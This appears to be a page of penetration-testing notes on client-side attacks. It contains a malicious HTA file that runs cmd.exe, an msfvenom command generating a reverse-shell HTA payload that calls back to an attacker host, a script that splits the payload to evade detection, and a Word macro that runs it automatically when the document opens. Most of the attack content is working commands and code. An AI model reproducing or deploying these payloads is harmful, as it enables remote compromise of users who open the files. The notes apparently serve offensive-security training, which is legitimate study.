Client Side Attacks

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Client Side Attacks

Enumeration

Passive Enumeration:
- Identify the victim's browser.
Active Enumeration:
- Social Engineering:
  - Craft messages or scenarios to manipulate users into revealing sensitive information or performing actions.

Leveraging HTML Apps

Tool:
- A JavaScript library to uniquely identify a browser based on its features.

HTA Attack:

Create an HTA (HTML Application) to execute malicious scripts.

Example HTA file (file.hta):

<!DOCTYPE html>
<html>
<head>
    <script>
    var x='cmd.exe'
    new ActiveXObject('WScript.shell').Run(x);
    </script>
</head>
<body>
    <script> self.close() </script> 
</body>
</html>

Copy the HTA file to a web server:

sudo cp file.hta /var/www/html/file2.hta

Generate an HTA payload with msfvenom:

sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.114.134 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta

Exploiting Microsoft Office

Word Macro:

Split the payload to evade detection.

str="" # payload from msfvenom
n=50
for i in range(0,len(str),n):
    print "str = Str +" + '"' + str[i:i+n] + '"'

Add the split payload to a Word Macro (document.docm).

Sub AutoOpen()
    test1
End Sub

Sub Doc_Open()
    test1
End Sub

Sub test1()
    Dim Str As String
    ' Add the splitted payload here
    CreateObject("Wscript.shell").Run Str
End Sub

Object Linking and Embedding (OLE):
- Create an evil batch file (evil.bat).
- Create a link object in the Word document (document.docm).

Resources:

PreviousVulnerability Scanning NextPort Redirection and Tunneling

Last updated 1 year ago

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